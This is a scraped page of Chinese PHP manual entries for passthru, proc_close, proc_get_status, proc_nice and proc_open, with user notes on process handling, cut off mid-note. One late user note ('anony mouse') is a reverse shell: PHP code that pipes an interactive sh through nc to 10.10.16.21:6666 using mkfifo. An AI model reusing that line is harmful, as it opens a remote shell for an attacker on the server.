exec(php test.php,$array,$error);

the return was 127 and the code was failing.

checking the note on this page gave us a hint to use passthru instead.
The only thing to note is that you need to provide the fuull path.

now our command became

passthru(/bin/php /pathtotest/test.php,$array,$error);

this works.

yipeee!!!!!
stuartc1 at NOSPAM dot hotmail dot com 09-Aug-2005 07:52
Thought it might beuseful to note the passthru seems to supress error messages whilst being run in Dos on Windows (test on NT).

To show FULL raw output including errors, use system().
igor at bboy dot ru 23-Jun-2005 01:33
If you are using passthru() to download files (for dynamically generated content or something outside webserver root) using similar code:

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"myfile.zip\"");
header("Content-Length: 11111");
passthru("cat myfile.zip",$err);

and your download goes fine, but subsequent downloads / link clicks are screwed up, with headers and binary data being all over the website, try putting

exit();

after the passthrough. This will exit the script after the download is done and will not interfere with any future actions.
sarel dot w at envent dot co dot za 08-Mar-2005 11:33
Zak Estrada
14-Dec-2004 11:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).

Remember, you'll also get this error if your file does not have executable permission.
puppy at cyberpuppy dot org 02-Mar-2005 02:50
Regarding swbrown's comment...you need to use an output buffer if you don't want the data displayed.

For example:
ob_start();
passthru("<i>command</i>");
$var = ob_get_contents();
ob_end_clean(); //Use this instead of ob_flush()

This gets all the output from the command, and exits without sending any data to stdout.
Zak Estrada 14-Dec-2004 08:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).
php @ richud dot com 27-May-2004 08:30
Regarding kpierre's post, be mindful that if you shell script errors, you will find the error output from it in the base error_log file (not virtualhost error_log) in apache.
jcr at marvel-databadge dot com 04-Sep-2003 11:23
With apache 2.x on RH9 passthru() writes 1 byte at a time. Apache 2.x buffers and chunk encodes the output for you - but the chunked encoding devides the output in chunks of 1 byte each...thus several bytes of overhead per byte. I guess that buffering behaviour is by design - but caused problems for me with IE adobe acrobot 5 plugin. The plugin doesn't like like it if you send it a stream of 1 byte chunks - it tells you your file is not a pdf or gives a blank screen. Using output buffering (ob_start / ob_endflush) gives reasonable size chunks and the plugin works OK.
swbrown at ucsd dot edu 03-Jun-2003 08:41
passthru() seems absolutely determined to buffer output no matter what you do, even with ob_implicit_flush().  The solution seems to be to use popen() instead.
kpierre at fit dot edu 30-Jan-2002 07:35
The documention does not mention that passthru() will only display standard output and not standard error.

If you are running a script you can pipe the STDERR to STDOUT by doing

exec 2>&1

Eg. the script below will actually print something with the passthru() function...

#!/bin/sh
exec 2>&1
ulimit -t 60
cat nosuchfile.txt
andreas dot hochsteger at oeamtc dot at 03-Oct-2001 07:51
If you sometimes get no output from passthru() use system() instead. This solved this problem for me (php 4.0.5 on Tru64 Unix compiled with gcc).
sidney at jigsaw dot nl 20-Jun-2001 05:25
PJ's ulimit example is nice; however, if you include multiple commands in the script after the ulimit command, each gets its own, seperate 60 second time slot!<br>

Furthermore, these sixty seconds are *CPU* time. Most programs hang for other reasons than CPU hogging (for example, waiting for a database connection) so for most purposes the number 60 is rather too high.<br>

Try "ulimit -t 1" first, which will give you about 10^9 cycles on modern hardware -- quite enough to get a lot of work done!
PJ at piggei dot com 14-Feb-2001 05:06
About the problem of zombies, you may call a bash script like this:

--------------------------
#! /bin/bash
ulimit -t 60

<your command here>
--------------------------


关闭由 proc_open 打开的进程并且返回进程退出码

  • ? passthru
  • proc_get_status ?
  • PHP Manual
  • 程序执行函数
  • 关闭由 proc_open 打开的进程并且返回进程退出码

proc_close

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_close — 关闭由 proc_open() 打开的进程并且返回进程退出码

说明

proc_close(resource $process): int

proc_close() 同 pclose() 函数类似，只是
proc_close() 只能用来关闭由 proc_open()
函数打开的进程。proc_close()
函数会等待进程终止，并返回它的退出代码。调用此函数时，为避免死锁，该进程打开的管道将关闭——在管道处于打开状态时，子进程将不能退出。

参数

process

要关闭的由 proc_open() 打开的 resource 。

返回值

返回进程的终止状态码。 如果发生错误，将返回 -1。

Note:

如果 PHP 是通过 --enable-sigchild 编译的，此函数将没有返回值。

User Contributed Notes

Uwe Ohse 03-Sep-2015 11:12
Regarding: "Returns the termination status of the process that was run. In case of an error then -1 is returned."

This is, at best, misleading. It returns:
* -1 on error,
* WEXITSTATUS(status) if WIFEXITED(status) is true, or
* status if WIFEXITED(status) is false,
where status is the status parameter of waitpid().

This makes it impossible to differentiate between a relatively normal exit or a termination by signal, and reduces the value of the proc_close return code to a binary one (ok / something broke).

This can be seen in proc_open_rsrc_dtor() in ext/standard/proc_open.c (PHP 5.4.44, 5.6.12).
morrisdavidd at gmail dot com 04-Jun-2008 04:41
Consider the following pseudo code:

$SOME_PROCESS = proc_open(/* something here */);
...
$status = proc_get_status($SOME_PROCESS);
...
$exitCode = proc_close($SOME_PROCESS);

If the external program has exited on its own before the call to proc_get_status, then $exitCode == -1

So consider using:
$actualExitCode = ($status["running"] ? $exitCode : $status["exitcode"] );
ashnazg at php dot net 05-Oct-2007 02:25
It seems that if you configured --enable-sigchild when you compiled PHP (which from my reading is required for you to use Oracle stuff), then return codes from proc_close() cannot be trusted.

Using proc_open's Example 1998's code on versions I have of PHP4 (4.4.7) and PHP5 (5.2.4), the return code is always "-1".  This is also the only return code I can cause by running other shell commands whether they succeed or fail.

I don't see this caveat mentioned anywhere except on this old bug report -- http://bugs.php.net/bug.php?id=29123
oohay251 at yahoo dot com 15-Sep-2005 07:06
From various Internet posts and recent experience, I have observed that you cannot rely on proc_close returning the accurate return code of the child process. The return code also depends on wether or not you read from the stdout/stderr pipes, as my example shows. I work around this by writing the exit code to an additional file descriptor.

<?
$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    $exit=proc_close($proc);
    print_r($output);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $exit=proc_close($proc);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
       3 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd;echo $? >&3", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    //comment next line to get correct exicode
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    if (!feof($pipes[3])) $output['exitcode']=rtrim(fgets($pipes[3],5),"\n");
    fclose($pipes[3]);
    proc_close($proc);
    print_r($output);
?>

Outputs on my system:

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
)
exitcode -1

exitcode 1

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
    [exitcode] => 0
)
sergey1369 at narod dot ru 29-Aug-2003 03:16
Under PHP/4.3.3RC2, in case of two processes
these function may hangs. Work around is not use
proc_close, or put it after all fcloses done.

For example, this code hangs.

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]); proc_close($ph1);
fclose($pipes2[0]); fclose($pipes2[1]); proc_close($ph2);

This code worked for me:

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]);
fclose($pipes2[0]); fclose($pipes2[1]);
proc_close($ph1); proc_close($ph2);


获取由 proc_open 函数打开的进程的信息

  • ? proc_close
  • proc_nice ?
  • PHP Manual
  • 程序执行函数
  • 获取由 proc_open 函数打开的进程的信息

proc_get_status

(PHP 5, PHP 7, PHP 8)

proc_get_status — 获取由 proc_open() 函数打开的进程的信息

说明

proc_get_status(resource $process): array

proc_get_status() 函数可以获取由 proc_open() 函数打开的进程的信息。

参数

process

要检查的由 proc_open() 打开的进程 resource。

返回值

收集了进程信息的 array。返回的数组包含下列元素：

元素 | 类型 | 描述
command | string | 传入 proc_open() 函数的命令行字符串。
pid | int | 进程 ID
running | bool | true 表示进程还在运行中， false 表示进程已经终止
signaled | bool | true 表示子进程被未捕获的信号所终止。 在 Windows 平台永远为 false。
stopped | bool | true 表示子进程被信号停止。 在 Windows 平台永远为 false。
exitcode | int | 进程的退出码（仅在 running 为 false 时有意义）。 仅在第一次调用此函数时会返回实际的值， 后续的调用将返回 -1。
termsig | int | 导致子进程终止执行的信号值 （仅在 signaled 为 true 时有意义）。
stopsig | int | 导致子进程停止执行的信号值 （仅在 stopped 为 true 时有意义）。

参见

  • proc_open() - 执行一个命令，并且打开用来输入/输出的文件指针。

User Contributed Notes

marco dot marsala at live dot it 30-Jun-2023 09:09
If launching a GNU screen with proc_open, subsequents proc_get_status always return (wrongly) running = false

$descriptorspec = array(
     0 => array("pipe", "r"),  // stdin
     1 => array("pipe", "w"),  // stdout
     2 => array("pipe", "w") // stderr
);
$p = proc_open('screen ...', $descriptorspec, $pipes);
var_dump(proc_get_status($p)['running']); // false (wrong)
Lachlan Mulcahy 30-Mar-2011 11:40
It is worth noting that proc_get_status will continue to indicate the process that you spawned is running (because it is!) until that process has been able to write everything it wants to write to the STDOUT and STDERR streams.

PHP seems to use a buffer for this and so the spawned process can can get it's write calls to return immediately.

However, once this buffer is full the write call will block until you read out some of the information from the stream/pipe.

This can manifest itself in many ways but generally the called process will still be running, but just not doing anything as it is blocking on being able to write more to STDERR or STDOUT -- whichever stream buffer is full.

To work around this you should include in your loop of checking proc_get_status' running element a "stream_get_contents" on the relevant pipes.

I generally use stream_set_blocking($pipies[2], 0) kind of calls to make sure that the stream_get_contents call will not block if there is no data in the stream.

This one had me stumped for a while, so hopefully it helps someone!
Mark Seecof 06-Sep-2009 08:36
On Unix/Linux, if you change the command line you pass to proc_open() just slightly then proc_get_status() will give you the actual process-id (pid) of your child.

Suppose you wish to run the external command /usr/bin/compress to create a BSD foo.Z file.  Rather than proc_open("/usr/bin/compress /tmp/foo",...) you may invoke proc_open("exec /usr/bin/compress /tmp/foo",...) and then proc_get_status()['pid'] will be the actual pid of /usr/bin/compress.

Why?  Because the way proc_open() actually works on Unix/Linux is by starting "/bin/sh -c usercmd userargs...", e.g., "/bin/sh -c /usr/bin/compress /tmp/foo".[Note 1]  That means normally your command is the child of the shell, so the pid you retrieve with proc_get_status() is the pid of the shell (PHP's child), and you have to fumble around trying to find the pid of your command (PHP's grandchild).  But if you put "exec" in front of your command, you tell the shell to *replace itself* with your command without starting another process (technically, to exec your command without forking first).  That means your command will inherit the pid of the shell, which is the pid that proc_get_status() returns.

So if you would like the actual pid of the process running your command, just prepend "exec " to  your proc_open() command argument then retrieve the pid using proc_get_status().

This also makes proc_terminate() and proc_close() work more like you might prefer, since they will affect the actual process running your command (which will be a child process rather than a grandchild process).

[Note 1] My guess is that the PHP developers want the shell to expand wildcards in path/filenames.
php dot net at crazedsanity dot com 10-Jul-2009 08:29
For clarification, the "exitcode" is only valid the FIRST TIME IT IS CALLED after the process exits.

If you have a method that polls a spawned process for its status, you *MUST* have that same method capture the exitcode: if the method is called a second time (after realizing the pid is dead) and it hasn't cached that exitcode, it will receive the -1 mentioned.
lytithwyn at gmail dot com 29-Dec-2008 06:51
I have had lots of problems in the past bit trying to kill external commands run by proc_open.

Others have suggested using ps to find the children of the pid returned by proc_get_status, but on my system this doesn't work.  I'm using php-5.2.5 and apache-2.0.59 on linux kernel 2.6.21, and the processes I start with proc_open end up being owned by init (pid 1), not by the pid returned by proc_get_status.

I did notice, however, that the pid's of the processes were always above and very close to the proc_get_status pid.  Using that information, I wrote a little function that takes the name of a command, the starting pid at which to search (which would be the proc_get_status pid), and optionally a search limit as arguments.  It will use ps to list processes owned by apache (you may have to change this user name for your system), and search for the command specified.  The limit tells how far above the starting pid to search.  This will help if the command may have already exited, and you don't want to kill a process from a different session than the one you're working with.

Here's the code:

<?php
function findCommandPID($command, $startpid, $limit = 3)
{
    $ps = `ps -u apache --sort=pid -o comm= -o pid=`;
    $ps_lines = explode("\n", $ps);

    $pattern = "/(\S{1,})(\s{1,})(\d{1,})/";

    foreach($ps_lines as $line)
    {
        if(preg_match($pattern, $line, $matches))
        {
            //this limits us to finding the command within $limit pid's of the parent;
            //eg, if ppid = 245, limit = 3, we won't search past 248
            if($matches[3] > $startpid + $limit)
                break;

            //try to match a ps line where the command matches our search
            //at a higher pid than our parent
            if($matches[1] == $command && $matches[3] > $startpid)
                return $matches[3];
        }
    }

    return false;
}
?>
webmaster at rouen dot fr 09-Jul-2008 01:49
The following function takes an array of shell commands and executes them. It is able to execute up to $nb_max_process at the same time. As soon as one process is terminated, another one is executed. Quite useful if you want to batch process commands on a multi-processor or multi-core environment.

The example below tries to convert to PNG a list of SVG files submitted on the command line (using Inkscape).

(it's quick and dirty but works very well for me)

#!/usr/bin/php
<?php
function pool_execute($commandes,$nb_max_process) {
  $pool=array();
  for($i=0;$i<$nb_max_process;$i++) {
    $pool[$i]=FALSE;
  }

  while(count($commandes)>0) {
    $commande=array_shift($commandes);

    $commande_lancee=FALSE;
    while($commande_lancee==FALSE) {
      usleep(50000);

      for($i=0;$i<$nb_max_process and $commande_lancee==FALSE;$i++) {
        if($pool[$i]===FALSE) {
          $pool[$i]=proc_open($commande,array(),$foo);
          $commande_lancee=TRUE;
        } else {
          $etat=proc_get_status($pool[$i]);
          if($etat['running']==FALSE) {
            proc_close($pool[$i]);
            $pool[$i]=proc_open($commande,array(),$foo);
            $commande_lancee=TRUE;
          }
        }
      }
    }
  }
}

$fichiers=$argv;
array_shift($fichiers);
$commandes=array();
foreach($fichiers as $fichier) {
  $entree=$fichier;
  $sortie=basename($fichier,'.svg').".png";
  $commandes[]='inkscape --file='.escapeshellarg($entree).' --export-area-canvas --export-png='.escapeshellarg($sortie);
}

pool_execute($commandes,4);
strrev xc.noxeh@ellij 05-Jun-2008 01:12
You can NOT rely on pid+1.
You could prefix exec to the command string, this will replace the /bin/sh script with the real thing you want to exec (use only if you don't do 'scary things' like pipes, output redirection, multiple commands, however if you know how they work, go ahead).
If you prefix exec, the /bin/sh process will only start your process, and the PID will be the same.
damien at cyg dot net 13-Jun-2007 06:06
Alternatively, if you're calling a subsequent php script using proc_open, you can have that process echo its own actual PID in the output.
Also, if you go through the /proc filesystem on linux, you can read through /proc/12345 where 12345 is the pid returned by proc_get_status (the pid of the /bin/sh instance) and it will list its child processes within.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 05:16
Further to my previous note, I've found out the PID returned is the PID of the shell (/bin/sh) that then runs the actual command requested.

I've raised this as bug #41003.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 04:58
To the poster above, same here on FreeBSD 6.1, PHP 5.2.1.

To get the correct PID to use for posix_kill I have to add 1 to the PID returned from proc_get_status.


修改当前进程的优先级

  • ? proc_get_status
  • proc_open ?
  • PHP Manual
  • 程序执行函数
  • 修改当前进程的优先级

proc_nice

(PHP 5, PHP 7, PHP 8)

proc_nice — 修改当前进程的优先级

说明

proc_nice(int $priority): bool

proc_nice() 修改当前进程的优先级， 修改量由 priority 参数指定。 priority 为正数会降低当前进程优先级， 反之，为负数会提高优先级。

proc_nice() 和 proc_open() 函数以及和 proc_open() 相关的函数并无什么关系。

参数

priority

新的优先级值，具体的设定取决于所运行的平台。

在 Unix 系统上，较小的值表示较高的优先级，例如：-20， 而正数值表示更低的优先级。

在 Windows 平台上，priority 参数 的含义如下：

优先级 | 可能的值
高优先级 | priority < -9
较高优先级 | priority < -4
正常优先级 | priority < 5 & priority > -5
较低优先级 | priority > 5
低优先级 | priority > 9

返回值

成功时返回 true， 或者在失败时返回 false。。 如果发生错误，例如用户无权修改当前进程的优先级， 会生成 E_WARNING 级别的错误。

更新日志

版本 | 说明
7.2.0 | 在 Windows 平台上可用。

示例

Example #1 使用 proc_open() 函数将进程设置为高优先级

<?php
// Highest priority
proc_nice(-20);
?>

注释

Note: 可用性

仅在具有 'nice' 能力的系统上才可以使用 proc_nice() 函数。 下列系统含有 'nice'：SVr4, SVID EXT, AT&T, X/OPEN, BSD 4.3。

Note: Windows 平台

proc_nice() 函数会改变当前进程优先级，即使 PHP 是使用线程安全模式编译的。

参见

  • pcntl_setpriority() - 修改任意进程的优先级

User Contributed Notes

phil_php at zieaon dot com 15-Apr-2021 01:43
It is important to note that this is a relative change. I didn't read the description properly and couldn't figure out why setting proc_nice(0) didn't take the forked children back to 0!
For example if you run:
<?php
proc_nice(-5);
proc_nice(0); // will have no effect
proc_nice(5); // will take the niceness back to 0

?>

In PHP CLI under Debian (and probably many other Linux flavours) you can read the 'niceness' from the proc filesystem.  (There may be a PHP command that gives this info but there doesn't seem to be a link to it on this page.)
E.g
<?php
$Current_Niceness_Value = intval(explode(" ",file_get_contents("/proc/".getmypid()."/stat"))[18]);

// Note: Older versions of Linux return an unsigned integer which has to be converted to a signed integer.
$Current_Niceness_Value = unpack("l",pack("L",intval(explode(" ",file_get_contents("/proc/".getmypid()."/stat"))[18])))[1];

?>
kevin AT REMOVETHIS mrkmg.com 19-Apr-2013 06:17
On a Linux system, running apache2 as a non-privileged user you can not increase the niceness of the process after decreasing it. Also, you can not use the apache_child_ terminate either. I found the following does work though:

<?php

//decrease niceness
proc_nice(19);

//kill child process to "reset" niceness
posix_kill( getmypid(), 28 );

?>
Marek 19-Jan-2011 08:40
Regarding ionice - on linux the impact of the ionice -c3 class is similar to that of nice, because the CPU "niceness" is taken into account when calculating the io niceness.
php at richardneill dot org 24-Jun-2010 12:14
If a process is reniced, then all its children inherit that niceness. So a PHP script can call proc_nice on itself, then invoke system(), and the command executed via system() will also be niced.

Also worth making a note of ionice. There's no PHP function for this, but it's important. A nice'd program will happily try to chew up all i/o bandwidth with very little CPU usage, it can therefore make the entire computer non-responsive despite the programmer's intention.  Use "ionice -c3"  or see "man ionice"
pandi at home dot pl 25-Nov-2008 05:22
Simple function for check process nice, by default returns nice of current process:

<?php

public static function getProcessNice ($pid = null) {
    if (!$pid) {
        $pid = getmypid ();
    }

    $res = `ps -p $pid -o "%p %n"`;

    preg_match ('/^\s*\w+\s+\w+\s*(\d+)\s+(\d+)/m', $res, $matches);

    return array ('pid' => (isset ($matches[1]) ? $matches[1] : null), 'nice' => (isset ($matches[2]) ? $matches[2] : null));
}

?>


执行一个命令，并且打开用来输入/输出的文件指针。

  • ? proc_nice
  • proc_terminate ?
  • PHP Manual
  • 程序执行函数
  • 执行一个命令，并且打开用来输入/输出的文件指针。

proc_open

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_open — 执行一个命令，并且打开用来输入/输出的文件指针。

说明

proc_open(
array|string $command,
array $descriptor_spec,
array &$pipes,
?string $cwd = null,
?array $env_vars = null,
?array $options = null
): resource|false

类似 popen() 函数， 但是 proc_open() 提供了更加强大的控制程序执行的能力。

参数

command

以 string 形式执行的命令行。特殊字符必须经过转义，并且使用正确的引号。

Note: 在 Windows 上, 除非在 options 中 把 bypass_shell 设置为 true ，否则 command 会被传递给 cmd.exe （实际上是 %ComSpec%） 其中的 /c 标志是 未加引号的 字符串 （也就是和 proc_open() 一样）。 这可能会导致 cmd.exe 删除 command 中的引号 （详见 cmd.exe 文档）， 从而导致意外的，甚至是潜在的危险行为，因为 cmd.exe 错误消息可能包含 （部分） 传递的 command （见下面的例子）。

从 PHP 7.4.0 开始，command 参数可以使用 array 类型传递。 在这种情况下，进程将直接打开（不通过 shell ）。 而 PHP 会处理任何必要的参数转义。

Note:

在 Windows 上， array 元素的参数转义假定 执行命令的命令行解析与 VC 运行时进行的命令行参数解析兼容。

descriptor_spec

一个索引数组。 数组的键表示描述符，数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入（stdin），1 表示标准输出（stdout），2 表示标准错误（stderr）。

数组中的元素可以是：

  • 包含了要传送至进程的管道的描述信息的数组。第一个元素为描述符类型，第二个元素是针对该描述符的选项。有效的类型有：pipe（第二个元素可以是：r 向进程传送该管道的读取端，w 向进程传送该管道的写入端），以及 file（第二个元素为文件名）。注意除了 w 之外的任何内容都视为 r。
  • 流资源表示真实文件描述符（例如：已打开的文件，套接字，STDIN）。

文件描述符的值不限于 0，1 和 2，你可以使用任何有效的文件描述符 并将其传送至子进程。 这使得你的脚本可以和其他脚本交互操作。 例如，可以通过指定文件描述符将密码以更加安全的方式 传送至诸如 PGP，GPG 和 openssl 程序， 同时也可以很方便的获取这些程序的状态信息。

pipes

将被置为索引数组， 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。

cwd

要执行命令的初始工作目录。 必须是 绝对 路径， 设置此参数为 null 表示使用默认值（当前 PHP 进程的工作目录）。

env_vars

要执行的命令所使用的环境变量。 设置此参数为 null 表示使用和当前 PHP 进程相同的环境变量。

options

你还可以指定一些附加选项。 目前支持的选项包括：

  • suppress_errors （仅用于 Windows 平台）： 设置为 true 表示抑制本函数产生的错误。
  • bypass_shell （仅用于 Windows 平台）： 设置为 true 表示绕过 cmd.exe shell。
  • blocking_pipes （仅用于 Windows 平台）： 设置为 true 表示强制堵塞管道。
  • create_process_group （仅用于 Windows 平台）： 设置为 true 表示允许子进程处理 CTRL 事件。
  • create_new_console （仅用于 Windows 平台）： 表示新进程有一个新的控制台，用于代替父进程的控制台。

返回值

返回表示进程的资源类型， 当使用完毕之后，请调用 proc_close() 函数来关闭此资源。 如果失败，返回 false。

更新日志

版本 | 说明
7.4.4 | 为 options 参数增加 create_new_console 选项。
7.4.0 | proc_open() 的 command 参数现在也允许数组类型。
7.4.0 | 为 options 参数增加 create_process_group 选项。

示例

Example #1 proc_open() 示例

<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入，子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出，子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误，写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
// $pipes 现在看起来是这样的：
// 0 => 可以向子进程标准输入写入的句柄
// 1 => 可以从子进程标准输出读取的句柄
// 错误输出将被追加到文件 /tmp/error-output.txt

fwrite($pipes[0], '<?php print_r($_ENV); ?>');
fclose($pipes[0]);

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);

// 切记：在调用 proc_close 之前关闭所有的管道以避免死锁。
$return_value = proc_close($process);

echo "command returned $return_value\n";
}
?>

以上示例的输出类似于：

Array
(
    [some_option] => aeiou
    [PWD] => /tmp
    [SHLVL] => 1
    [_] => /usr/local/bin/php
)
command returned 0

Example #2 proc_open() 在 Windows 上的怪异行为

虽然人们可能期望下面的程序能够搜索文件 filename.txt 进行文本搜索， 并打印结果，但它的行为相当不同。

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$cmd = '"findstr" "search" "filename.txt"';
$proc = proc_open($cmd, $descriptorspec, $pipes);
proc_close($proc);
?>

以上示例会输出：

'findstr" "search" "filename.txt' is not recognized as an internal or external command,
operable program or batch file.

要解决该行为，通常只需将 command 加上引号：

$cmd = '""findstr" "search" "filename.txt""';

注释

Note:

Windows 兼容性：超过 2 的描述符也可以作为可继承的句柄传送到子进程。 但是，由于 Windows 的架构并不将文件描述符和底层句柄进行关联， 所以，子进程无法访问这样的句柄。 标准输入，标准输出和标注错误会按照预期工作。

Note:

如果你只需要单向的进程管道， 使用 popen() 函数会更加简单。

参见

  • popen() - 打开进程文件指针
  • exec() - 执行一个外部程序
  • system() - 执行外部程序，并且显示输出
  • passthru() - 执行外部程序并且显示原始输出
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds
  • The 执行运算符

User Contributed Notes

mamedul.github.io 06-Nov-2023 11:18
Cross function solutions for execute command using PHP-

function php_exec( $cmd ){

    if( function_exists('exec') ){
        $output = array();
        $return_var = 0;
        exec($cmd, $output, $return_var);
        return implode( " ", array_values($output) );
    }else if( function_exists('shell_exec') ){
        return shell_exec($cmd);
    }else if( function_exists('system') ){
        $return_var = 0;
        return system($cmd, $return_var);
    }else if( function_exists('passthru') ){
        $return_var = 0;
        ob_start();
        passthru($cmd, $return_var);
        $output = ob_get_contents();
        ob_end_clean(); //Use this instead of ob_flush()
        return $output;
    }else  if( function_exists('proc_open') ){
        $proc=proc_open($cmd,
            array(
                array("pipe","r"),
                array("pipe","w"),
                array("pipe","w")
            ),
            $pipes);
        return stream_get_contents($pipes[1]);
    }else{
        return "@PHP_COMMAND_NOT_SUPPORT";
    }

}
Gil Potts 04-May-2023 03:58
This is not really a bug but more of an unexpected gotcha.  If you pass in an array for $env and include a modified PATH, that path does not take effect in PHP itself when starting the process.  So if you are trying to start an executable in the modified PATH by using just the executable name, PHP and the OS won't find it and therefore will fail to start the process.

The fix is to let PHP know about the modified PATH by calling putenv("PATH=" . $newpath) with the new path string so that the call to proc_open() will correctly locate the executable and successfully run it.
Bobby Dylan 25-Feb-2023 06:32
I'm not sure when the "blocking_pipes (windows only)" option was added to PHP, but users of this function should be fully aware that there is no such thing as a non-blocking pipe in PHP on Windows and that the "blocking_pipes" option does NOT function like you might expect.  Passing "blocking_pipes" => false does NOT mean non-blocking pipes.

PHP uses anonymous pipes to start processes on Windows.  The Windows CreatePipe() function does not directly support overlapped I/O (aka asynchronous), which is typically how async/non-blocking I/O happens on Windows.  SetNamedPipeHandleState() has an option called PIPE_NOWAIT but Microsoft has long discouraged the use of that option.  PHP does not use PIPE_NOWAIT anywhere in the source code tree.  PHP FastCGI startup code is the only place within the PHP source code that uses overlapped I/O (and also the only place that calls SetNamedPipeHandleState() with PIPE_WAIT).  Further, stream_set_blocking() on Windows is only implemented for sockets - not file handles or pipes.  That is, calling stream_set_blocking() on pipe handles returned by proc_open() will actually do nothing on Windows.  We can derive from these facts that PHP does not have a non-blocking implementation for pipes on Windows and will therefore block/deadlock when using proc_open().

PHP's pipe read implementation on Windows uses PeekNamedPipe() by polling on the pipe until there is some data available to read OR until ~32 seconds (3200000 * 10 microseconds of sleep) have passed before giving up, whichever comes first.  The "blocking_pipes" option, when set to true, changes that behavior to wait indefinitely (i.e. always block) until there is data on the pipe.  It's better to view the "blocking_pipes" option as a "possibly 32 second busy wait" timeout (false - the default value) vs. no timeout (true).  In either case, the boolean value for this option effectively blocks...it just happens to block a lot longer when set to true.

The undocumented string "socket" descriptor type can be passed to proc_open() and PHP will start a temporary TCP/IP server and generate a pre-connected TCP/IP socket pair for the pipe and pass one socket to the target process and return the other as the associated pipe.  However, passing a socket handle for stdout/stderr on Windows causes the last chunk(s) of output to occasionally get lost and not be delivered to the receiving end.  This is actually a known bug in Windows itself and Microsoft's response at one point was that CreateProcess() only officially supports anonymous pipes and file handles for the standard handles (i.e. not named pipes or socket handles) and that other handle types will produce "undefined behavior."  For sockets, it will "sometimes work fine and sometimes truncate the output."  The "socket" descriptor type also introduces a race condition that is probably a security vulnerability in proc_open() where another process can successfully connect to the server side BEFORE the original process connects to the socket to create the socket pair.  This allows a rogue application to send malformed data to a process, which could trigger anything from privilege escalation to SQL injection depending on what the application does with the information on stdout/stderr.

To get true non-blocking I/O in PHP for Windows for standard process handles (i.e. stdin, stdout, stderr) without obscure bugs cropping up, the only currently working option is to use an intermediary process that uses TCP/IP blocking sockets to route data to blocking standard handles via multithreading (i.e. start three threads to route data between the TCP/IP socket and the standard HANDLE and use a temporary secret to prevent race conditions when establishing the TCP/IP socket handles).  For those who lost count:  That's one extra process, up to four extra threads, and up to four TCP/IP sockets just to get functionally correct non-blocking I/O for proc_open() on Windows.  If you vomited a little bit at that idea/concept, well, people actually do this!  Feel free to vomit some more.
anony mouse 20-Dec-2022 07:25
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
    fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 6666 >/tmp/f');
    fclose($pipes[0]);
    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    $return_value = proc_close($process);
    echo "command returned $return_value\n";
}
?>
weirdall at hotmail dot com 07-Feb-2017 03:01
This script will tail a file using tail -F to follow scripts that are rotated.

<?php
$descriptorspec = array(
